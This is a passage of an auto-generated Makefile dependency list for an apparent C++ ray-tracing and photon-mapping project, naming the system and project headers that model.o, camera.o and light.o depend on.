/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
vector.h pixel.h material.h object.h sphere.h
model.o: model.cpp /usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/omp.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iomanip \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/functional \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/fstream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/basic_file.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/fstream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
vector.h pixel.h camera.h light.h material.h object.h list.h plane.h \
sphere.h model.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/vector \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_vector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_bvector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/vector.tcc \
ray.h photon.h kdtree.h timer.h
camera.o: camera.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h vector.h pixel.h camera.h
light.o: light.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
